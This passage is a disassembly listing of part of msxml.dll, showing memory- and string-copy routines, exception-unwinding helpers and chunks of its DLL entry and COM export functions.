mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
loc_69B22296: ; CODE XREF: sub_69B22103+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_69B222C5
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_69B222BC
std
rep movsd
cld
jmp ds:off_69B223E0[edx*4]
; ---------------------------------------------------------------------------
loc_69B222BC: ; CODE XREF: sub_69B22103+1ACj
; sub_69B22103+205j ...
neg ecx
jmp ds:off_69B2238C[ecx*4]
; ---------------------------------------------------------------------------
loc_69B222C5: ; CODE XREF: sub_69B22103+1A1j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_69B222DD
and eax, 3
sub ecx, eax
jmp ds:dword_69B222E4[eax*4]
; ---------------------------------------------------------------------------
loc_69B222DD: ; CODE XREF: sub_69B22103+1CCj
jmp ds:off_69B223E0[ecx*4]
; ---------------------------------------------------------------------------
dword_69B222E4 dd 90909090h dd offset loc_69B222F4
dd offset loc_69B22315
dd offset loc_69B2233C
; ---------------------------------------------------------------------------
loc_69B222F4: ; DATA XREF: sub_69B22103+1E5o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
sub esi, 1
shr ecx, 2
sub edi, 1
cmp ecx, 8
jb short loc_69B222BC
std
rep movsd
cld
jmp ds:off_69B223E0[edx*4]
; ---------------------------------------------------------------------------
loc_69B22315: ; DATA XREF: sub_69B22103+1E9o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_69B222BC
std
rep movsd
cld
jmp ds:off_69B223E0[edx*4]
; ---------------------------------------------------------------------------
loc_69B2233C: ; DATA XREF: sub_69B22103+1EDo
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_69B222BC
std
rep movsd
cld
jmp ds:off_69B223E0[edx*4]
; ---------------------------------------------------------------------------
db 3 dup(90h)
dd offset loc_69B22390
dd offset loc_69B22398
dd offset loc_69B223A0
dd offset loc_69B223A8
dd offset loc_69B223B0
dd offset loc_69B223B8
dd offset loc_69B223C0
off_69B2238C dd offset loc_69B223D3 ; DATA XREF: sub_69B22103+1BBr
; ---------------------------------------------------------------------------
loc_69B22390: ; DATA XREF: sub_69B22103+26Do
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_69B22398: ; DATA XREF: sub_69B22103+271o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_69B223A0: ; DATA XREF: sub_69B22103+275o
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_69B223A8: ; DATA XREF: sub_69B22103+279o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_69B223B0: ; DATA XREF: sub_69B22103+27Do
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_69B223B8: ; DATA XREF: sub_69B22103+281o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_69B223C0: ; DATA XREF: sub_69B22103+285o
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_69B223D3: ; CODE XREF: sub_69B22103+1BBj
; DATA XREF: sub_69B22103:off_69B2238Co
jmp ds:off_69B223E0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_69B223E0 dd offset loc_69B223F0 ; DATA XREF: sub_69B22103+1B2r
; sub_69B22103:loc_69B222DDr ...
dd offset loc_69B223F7
dd offset loc_69B22404
dd offset loc_69B22417
; ---------------------------------------------------------------------------
loc_69B223F0: ; CODE XREF: sub_69B22103+1B2j
; sub_69B22103:loc_69B222DDj ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
loc_69B223F7: ; CODE XREF: sub_69B22103+1B2j
; sub_69B22103:loc_69B222DDj ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
loc_69B22404: ; CODE XREF: sub_69B22103+1B2j
; sub_69B22103:loc_69B222DDj ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
loc_69B22417: ; CODE XREF: sub_69B22103+1B2j
; sub_69B22103:loc_69B222DDj ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_69B22103 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1A82C
loc_69B22430: ; CODE XREF: sub_69B1A82C+2Bj
fstp [esp+20h+var_20]
mov ecx, [esp+20h+var_20]
xor ecx, 80000000h
add ecx, 7FFFFFFFh
adc eax, 0
mov edx, dword ptr [esp+20h+var_10+4]
adc edx, 0
jmp locret_69B1A873
; ---------------------------------------------------------------------------
loc_69B22451: ; CODE XREF: sub_69B1A82C+21j
mov edx, dword ptr [esp+20h+var_10+4]
test edx, 7FFFFFFFh
jnz loc_69B1A853
fstp [esp+20h+var_8]
fstp [esp+20h+var_8]
jmp locret_69B1A873
; END OF FUNCTION CHUNK FOR sub_69B1A82C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1B09C
loc_69B2246E: ; CODE XREF: sub_69B1B09C+5j
push ecx
lea ecx, [esp+4+arg_0]
loc_69B22473: ; CODE XREF: sub_69B1B09C+73E9j
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_69B22473
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
; END OF FUNCTION CHUNK FOR sub_69B1B09C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B22496 proc near ; DATA XREF: sub_69B19C5Co
; sub_69B8903E+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_69B2255F
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
push ebx
call sub_69B8562A
add esp, 4
or eax, eax
jz short loc_69B22551
loc_69B224D6: ; CODE XREF: sub_69B22496+B2j
cmp esi, 0FFFFFFFFh
jz short loc_69B22558
lea ecx, [esi+esi*2]
mov eax, [edi+ecx*4+4]
or eax, eax
jz short loc_69B2253F
push esi
push ebp
lea ebp, [ebx+10h]
xor ebx, ebx
xor ecx, ecx
xor edx, edx
xor esi, esi
xor edi, edi
call eax
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_69B2253F
js short loc_69B2254A
mov edi, [ebx+8]
push ebx
call sub_69B2257C
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_69B225BE
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_69B22626
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
mov eax, [edi+ecx*4+8]
xor ebx, ebx
xor ecx, ecx
xor edx, edx
xor esi, esi
xor edi, edi
call eax
loc_69B2253F: ; CODE XREF: sub_69B22496+4Ej
; sub_69B22496+68j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_69B224D6
; ---------------------------------------------------------------------------
loc_69B2254A: ; CODE XREF: sub_69B22496+6Aj
mov eax, 0
jmp short loc_69B22574
; ---------------------------------------------------------------------------
loc_69B22551: ; CODE XREF: sub_69B22496+3Ej
mov eax, [ebp+arg_0]
or dword ptr [eax+4], 8
loc_69B22558: ; CODE XREF: sub_69B22496+43j
mov eax, 1
jmp short loc_69B22574
; ---------------------------------------------------------------------------
loc_69B2255F: ; CODE XREF: sub_69B22496+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_69B225BE
add esp, 8
pop ebp
mov eax, 1
loc_69B22574: ; CODE XREF: sub_69B22496+B9j
; sub_69B22496+C7j
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_69B22496 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2257C proc near ; CODE XREF: sub_69B22496+70p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_69B22594
push [ebp+arg_0]
call RtlUnwind ; RtlUnwind
loc_69B22594: ; DATA XREF: sub_69B2257C+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_69B2257C endp
; =============== S U B R O U T I N E =======================================
sub_69B2259C proc near ; DATA XREF: sub_69B225BE+Ao
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_69B225BD
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_69B225BD: ; CODE XREF: sub_69B2259C+10j
retn
sub_69B2259C endp
; =============== S U B R O U T I N E =======================================
sub_69B225BE proc near ; CODE XREF: sub_69B22496+7Dp
; sub_69B22496+D0p
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_69B2259C
push large dword ptr fs:0
mov large fs:0, esp
loc_69B225DB: ; CODE XREF: sub_69B225BE+44j
; sub_69B225BE+58j
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_69B22618
cmp esi, [esp+1Ch+arg_4]
jz short loc_69B22618
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_69B225DB
push 101h
mov eax, [ebx+esi*4+8]
call sub_69B22626
call dword ptr [ebx+esi*4+8]
jmp short loc_69B225DB
; ---------------------------------------------------------------------------
loc_69B22618: ; CODE XREF: sub_69B225BE+2Aj
; sub_69B225BE+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_69B225BE endp
; =============== S U B R O U T I N E =======================================
sub_69B22626 proc near ; CODE XREF: sub_69B22496+8Ep
; sub_69B225BE+4Fp
push ebx
push ecx
mov ebx, offset dword_69B9AAC8
mov ecx, [ebp+8]
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_69B22626 endp
; =============== S U B R O U T I N E =======================================
sub_69B2263E proc near ; CODE XREF: sub_69B84F8F+C9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_69B226DD
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_69B2266A
shr ecx, 2
jnz loc_69B226ED
jmp short loc_69B22691
; ---------------------------------------------------------------------------
loc_69B2266A: ; CODE XREF: sub_69B2263E+1Fj
; sub_69B2263E+45j
mov al, [esi]
add esi, 1
mov [edi], al
add edi, 1
sub ecx, 1
jz short loc_69B226A4
test al, al
jz short loc_69B226AC
test esi, 3
jnz short loc_69B2266A
mov ebx, ecx
shr ecx, 2
jnz short loc_69B226ED
loc_69B2268C: ; CODE XREF: sub_69B2263E+ADj
and ebx, 3
jz short loc_69B226A4
loc_69B22691: ; CODE XREF: sub_69B2263E+2Aj
; sub_69B2263E+64j
mov al, [esi]
add esi, 1
mov [edi], al
add edi, 1
test al, al
jz short loc_69B226D6
sub ebx, 1
jnz short loc_69B22691
loc_69B226A4: ; CODE XREF: sub_69B2263E+39j
; sub_69B2263E+51j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_69B226AC: ; CODE XREF: sub_69B2263E+3Dj
test edi, 3
jz short loc_69B226CA
loc_69B226B4: ; CODE XREF: sub_69B2263E+8Aj
mov [edi], al
add edi, 1
sub ecx, 1
jz loc_69B2275A
test edi, 3
jnz short loc_69B226B4
loc_69B226CA: ; CODE XREF: sub_69B2263E+74j
mov ebx, ecx
shr ecx, 2
jnz short loc_69B22745
loc_69B226D1: ; CODE XREF: sub_69B2263E+9Bj
; sub_69B2263E+116j
mov [edi], al
add edi, 1
loc_69B226D6: ; CODE XREF: sub_69B2263E+5Fj
sub ebx, 1
jnz short loc_69B226D1
pop ebx
pop esi
loc_69B226DD: ; CODE XREF: sub_69B2263E+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_69B226E3: ; CODE XREF: sub_69B2263E+C7j
; sub_69B2263E+DFj
mov [edi], edx
add edi, 4
sub ecx, 1
jz short loc_69B2268C
loc_69B226ED: ; CODE XREF: sub_69B2263E+24j
; sub_69B2263E+4Cj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_69B226E3
test dl, dl
jz short loc_69B22737
test dh, dh
jz short loc_69B2272D
test edx, 0FF0000h
jz short loc_69B22723
test edx, 0FF000000h
jnz short loc_69B226E3
mov [edi], edx
jmp short loc_69B2273B
; ---------------------------------------------------------------------------
loc_69B22723: ; CODE XREF: sub_69B2263E+D7j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_69B2273B
; ---------------------------------------------------------------------------
loc_69B2272D: ; CODE XREF: sub_69B2263E+CFj
and edx, 0FFh
mov [edi], edx
jmp short loc_69B2273B
; ---------------------------------------------------------------------------
loc_69B22737: ; CODE XREF: sub_69B2263E+CBj
xor edx, edx
mov [edi], edx
loc_69B2273B: ; CODE XREF: sub_69B2263E+E3j
; sub_69B2263E+EDj ...
add edi, 4
xor eax, eax
sub ecx, 1
jz short loc_69B22751
loc_69B22745: ; CODE XREF: sub_69B2263E+91j
xor eax, eax
loc_69B22747: ; CODE XREF: sub_69B2263E+111j
mov [edi], eax
add edi, 4
sub ecx, 1
jnz short loc_69B22747
loc_69B22751: ; CODE XREF: sub_69B2263E+105j
and ebx, 3
jnz loc_69B226D1
loc_69B2275A: ; CODE XREF: sub_69B2263E+7Ej
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_69B2263E endp
; =============== S U B R O U T I N E =======================================
sub_69B22762 proc near ; CODE XREF: sub_69B852D7+8p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_69B22788
loc_69B2276E: ; CODE XREF: sub_69B22762+1Bj
mov al, [ecx]
add ecx, 1
test al, al
jz short loc_69B227B9
test ecx, 3
jnz short loc_69B2276E
add eax, 0
lea esp, [esp]
lea esp, [esp]
loc_69B22788: ; CODE XREF: sub_69B22762+Aj
; sub_69B22762+3Cj ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_69B22788
mov eax, [ecx-4]
test al, al
jz short loc_69B227D7
test ah, ah
jz short loc_69B227CD
test eax, 0FF0000h
jz short loc_69B227C3
test eax, 0FF000000h
jnz short loc_69B22788
loc_69B227B9: ; CODE XREF: sub_69B22762+13j
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_69B227C3: ; CODE XREF: sub_69B22762+4Ej
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_69B227CD: ; CODE XREF: sub_69B22762+47j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_69B227D7: ; CODE XREF: sub_69B22762+43j
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_69B22762 endp
; =============== S U B R O U T I N E =======================================
sub_69B227E1 proc near ; CODE XREF: sub_69B852F4+60p
; sub_69B86AFA+4Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_0]
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_69B2280F
loc_69B227F2: ; CODE XREF: sub_69B227E1+25j
mov dl, [ecx]
add ecx, 1
test dl, dl
jz short loc_69B2285F
mov [edi], dl
add edi, 1
test ecx, 3
jnz short loc_69B227F2
jmp short loc_69B2280F
; ---------------------------------------------------------------------------
loc_69B2280A: ; CODE XREF: sub_69B227E1+46j
; sub_69B227E1+5Ej
mov [edi], edx
add edi, 4
loc_69B2280F: ; CODE XREF: sub_69B227E1+Fj
; sub_69B227E1+27j
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_69B2280A
test dl, dl
jz short loc_69B2285F
test dh, dh
jz short loc_69B22856
test edx, 0FF0000h
jz short loc_69B22849
test edx, 0FF000000h
jnz short loc_69B2280A
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_69B22849: ; CODE XREF: sub_69B227E1+56j
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_69B22856: ; CODE XREF: sub_69B227E1+4Ej
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_69B2285F: ; CODE XREF: sub_69B227E1+18j
; sub_69B227E1+4Aj
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_69B227E1 endp
; =============== S U B R O U T I N E =======================================
sub_69B22867 proc near ; CODE XREF: sub_69B85406+8Cp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_69B228C2
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_69B228B2
neg ecx
and ecx, 3
jz short loc_69B22894
sub edx, ecx
loc_69B2288A: ; CODE XREF: sub_69B22867+2Bj
mov [edi], al
add edi, 1
sub ecx, 1
jnz short loc_69B2288A
loc_69B22894: ; CODE XREF: sub_69B22867+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_69B228B2
rep stosd
test edx, edx
jz short loc_69B228BC
loc_69B228B2: ; CODE XREF: sub_69B22867+18j
; sub_69B22867+43j ...
mov [edi], al
add edi, 1
sub edx, 1
jnz short loc_69B228B2
loc_69B228BC: ; CODE XREF: sub_69B22867+49j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_69B228C2: ; CODE XREF: sub_69B22867+Aj
mov eax, [esp+arg_0]
retn
sub_69B22867 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR DllMain
loc_69B228C7: ; CODE XREF: DllMain+Bj
cmp eax, 2
jz loc_69B1BB3C
cmp eax, 3
jnz loc_69B1BB3C
call sub_69B2D5A5
jmp loc_69B1BB3C
; END OF FUNCTION CHUNK FOR DllMain
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR DllCanUnloadNow
loc_69B228E3: ; CODE XREF: DllCanUnloadNow+7j
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_69B228E6: ; CODE XREF: DllCanUnloadNow+18j
mov eax, 80004005h
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B228ED: ; CODE XREF: DllCanUnloadNow+3Cj
mov eax, dword_69B9295C
jmp short loc_69B22901
; ---------------------------------------------------------------------------
loc_69B228F4: ; CODE XREF: DllCanUnloadNow+472Cj
cmp dword ptr [eax+30h], 0
jnz loc_69B1E219
mov eax, [eax+14h]
loc_69B22901: ; CODE XREF: DllCanUnloadNow+471Bj
test eax, eax
jnz short loc_69B228F4
pop esi
retn
; END OF FUNCTION CHUNK FOR DllCanUnloadNow
; =============== S U B R O U T I N E =======================================
sub_69B22907 proc near ; DATA XREF: .text:69B1B80Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B22907 endp
; =============== S U B R O U T I N E =======================================
sub_69B22910 proc near ; DATA XREF: .text:69B1B810o
mov esp, [ebp-18h]
push dword ptr [ebp-1Ch]
call dword_69B92944
or dword ptr [ebp-4], 0FFFFFFFFh
jmp loc_69B1B7FF
sub_69B22910 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR DllGetClassObject
loc_69B22925: ; CODE XREF: DllGetClassObject+19j
mov eax, 80004005h
jmp loc_69B1C625
; ---------------------------------------------------------------------------
loc_69B2292F: ; CODE XREF: DllGetClassObject+94j
call sub_69B19E6E
call sub_69B61F42
call sub_69B6DF3C
call sub_69B1992C
jmp loc_69B1C5E2
; ---------------------------------------------------------------------------
loc_69B22948: ; CODE XREF: DllGetClassObject+A9j
call sub_69B11E73
mov edi, eax
mov [ebp-30h], edi
lea esi, [edi+45Ch]
cmp dword ptr [esi], 0
jnz short loc_69B22964
call sub_69B2FA42
mov [esi], eax
loc_69B22964: ; CODE XREF: DllGetClassObject+6413j
lea esi, [edi+460h]
cmp dword ptr [esi], 0
jnz loc_69B1C5F7
call sub_69B2F991
mov [esi], eax
jmp loc_69B1C5F7
; ---------------------------------------------------------------------------
loc_69B2297F: ; CODE XREF: DllGetClassObject+C1j
mov dword ptr [ebp-20h], 80040111h
jmp loc_69B1C60F
; END OF FUNCTION CHUNK FOR DllGetClassObject
; =============== S U B R O U T I N E =======================================
sub_69B2298B proc near ; DATA XREF: .text:69B1C864o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B2298B endp
; =============== S U B R O U T I N E =======================================
sub_69B22994 proc near ; DATA XREF: .text:69B1C868o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-20h], eax
jmp loc_69B1C60F
sub_69B22994 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1E3D1
loc_69B229B1: ; CODE XREF: sub_69B1E3D1+1Dj
push dwTlsIndex
call dword_69B92970
test eax, eax
jnz loc_69B1E3F4
mov eax, ds:TlsGetValue
mov dword_69B92970, eax
mov eax, ds:TlsSetValue
mov dword_69B92974, eax
jmp loc_69B1E3F4
; ---------------------------------------------------------------------------
loc_69B229DE: ; CODE XREF: sub_69B1E3D1-Bj
cmp [ecx+30h], ebx
jnz short loc_69B22A18
jmp loc_69B1E3CC
; ---------------------------------------------------------------------------
loc_69B229E8: ; CODE XREF: sub_69B1E3D1+49j
; sub_69B1E3D1+4645j
mov [ebp-1Ch], esi
cmp esi, ebx
jz loc_69B1E420
lea eax, [esi+45Ch]
cmp [eax], ebx
jz short loc_69B22A03
push eax
call sub_69B17230
loc_69B22A03: ; CODE XREF: sub_69B1E3D1+462Aj
lea eax, [esi+460h]
cmp [eax], ebx
jz short loc_69B22A13
push eax
call sub_69B17230
loc_69B22A13: ; CODE XREF: sub_69B1E3D1+463Aj
mov esi, [esi+14h]
jmp short loc_69B229E8
; ---------------------------------------------------------------------------
loc_69B22A18: ; CODE XREF: sub_69B1E3D1+4610j
mov dword_69B9B1CC, edi
push offset aAtLeastOneThre ; "At least one thread was killed while ex"...
call ds:SHLWAPI_115
jmp loc_69B1E461
; END OF FUNCTION CHUNK FOR sub_69B1E3D1
; =============== S U B R O U T I N E =======================================
sub_69B22A2E proc near ; DATA XREF: .text:69B1E474o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B22A2E endp
; =============== S U B R O U T I N E =======================================
sub_69B22A37 proc near ; DATA XREF: .text:69B1E478o
mov esp, [ebp-18h]
jmp loc_69B1E458
sub_69B22A37 endp
; ---------------------------------------------------------------------------
align 10h
aAtLeastOneThre: ; DATA XREF: sub_69B1E3D1+464Do
unicode 0, <At least one thread was killed while executing inside msx>
unicode 0, <ml.dll.>
dw 0Ah
unicode 0, <!! msxml.dll is unable to shut down !!>
dw 0Ah
unicode 0, <>,0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR DllEntryPoint
loc_69B22B12: ; CODE XREF: DllEntryPoint+Ej
dec eax
jz short loc_69B22B36
dec eax
jnz loc_69B1C403
push [ebp+lpReserved]
push 3
loc_69B22B21: ; CODE XREF: DllEntryPoint+677Ej
push [ebp+hinstDLL]
call sub_69B1BAE5
test eax, eax
jnz loc_69B1C403
jmp loc_69B1C436
; ---------------------------------------------------------------------------
loc_69B22B36: ; CODE XREF: DllEntryPoint+6756j
push [ebp+lpReserved]
push 2
jmp short loc_69B22B21
; ---------------------------------------------------------------------------
loc_69B22B3D: ; CODE XREF: DllEntryPoint+51j
mov dword_69B9B0B8, 1
jmp loc_69B1C414
; END OF FUNCTION CHUNK FOR DllEntryPoint
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1E686
loc_69B22B4C: ; CODE XREF: sub_69B1E686+57j
mov dword_69B92170, 0BB40E64Eh
jmp loc_69B1E6E3
; END OF FUNCTION CHUNK FOR sub_69B1E686
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1CA20
loc_69B22B5B: ; CODE XREF: sub_69B1CA20+25j
mov eax, [ebp+arg_8]
and dword ptr [eax], 0
mov eax, 80004002h
jmp loc_69B1CA55
; END OF FUNCTION CHUNK FOR sub_69B1CA20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1E7D2
loc_69B22B6B: ; CODE XREF: sub_69B1E7D2+Ej
mov eax, 80004005h
jmp loc_69B1E813
; ---------------------------------------------------------------------------
loc_69B22B75: ; CODE XREF: sub_69B1E7D2+26j
mov esi, 80040110h
jmp loc_69B1E809
; ---------------------------------------------------------------------------
loc_69B22B7F: ; CODE XREF: sub_69B1E7D2+1Cj
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
call dword ptr [eax+8]
jmp loc_69B1E807
; END OF FUNCTION CHUNK FOR sub_69B1E7D2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B17F2C
loc_69B22B90: ; CODE XREF: sub_69B17F2C+8j
test ebx, 20000000h
jnz loc_69B17F3A
push [esp+4+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
jmp loc_69B17F4A
; ---------------------------------------------------------------------------
loc_69B22BAB: ; CODE XREF: sub_69B17F2C+30j
mov ecx, [esp+4+arg_0]
mov edx, ecx
push edi
shr ecx, 2
xor eax, eax
mov edi, esi
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
pop edi
jmp loc_69B17F62
; ---------------------------------------------------------------------------
loc_69B22BC8: ; CODE XREF: sub_69B17F2C+41j
call sub_69B2E87C
jmp loc_69B17F62
; END OF FUNCTION CHUNK FOR sub_69B17F2C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1B2B7
loc_69B22BD2: ; CODE XREF: sub_69B1B2B7+10j
mov edx, [eax]
push eax
call dword ptr [edx+14h]
jmp locret_69B1B2D8
; END OF FUNCTION CHUNK FOR sub_69B1B2B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1127C
loc_69B22BDD: ; CODE XREF: sub_69B1127C+18j
add eax, 4
mov byte ptr [eax+22h], 1
jmp locret_69B1129A
; END OF FUNCTION CHUNK FOR sub_69B1127C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1E5FC
loc_69B22BE9: ; CODE XREF: sub_69B1E5FC+8j
sub eax, 4
jmp loc_69B1E60A
; END OF FUNCTION CHUNK FOR sub_69B1E5FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1CC44
loc_69B22BF1: ; CODE XREF: sub_69B1CC44+Aj
cmp dword_69B9296C, ebx
jz loc_69B1CC54
mov ecx, dword_69B929E0
mov eax, [ecx]
call dword ptr [eax+0Ch]
cmp dword_69B92964, ebx
jz short loc_69B22C24
mov esi, dword_69B9295C
jmp short loc_69B22C20
; ---------------------------------------------------------------------------
loc_69B22C18: ; CODE XREF: sub_69B1CC44+5FDEj
cmp [esi+44h], bl
jnz short loc_69B22C34
mov esi, [esi+14h]
loc_69B22C20: ; CODE XREF: sub_69B1CC44+5FD2j
cmp esi, ebx
jnz short loc_69B22C18
loc_69B22C24: ; CODE XREF: sub_69B1CC44+5FCAj
mov ecx, dword_69B929E0
mov eax, [ecx]
call dword ptr [eax+10h]
jmp loc_69B1CC54
; ---------------------------------------------------------------------------
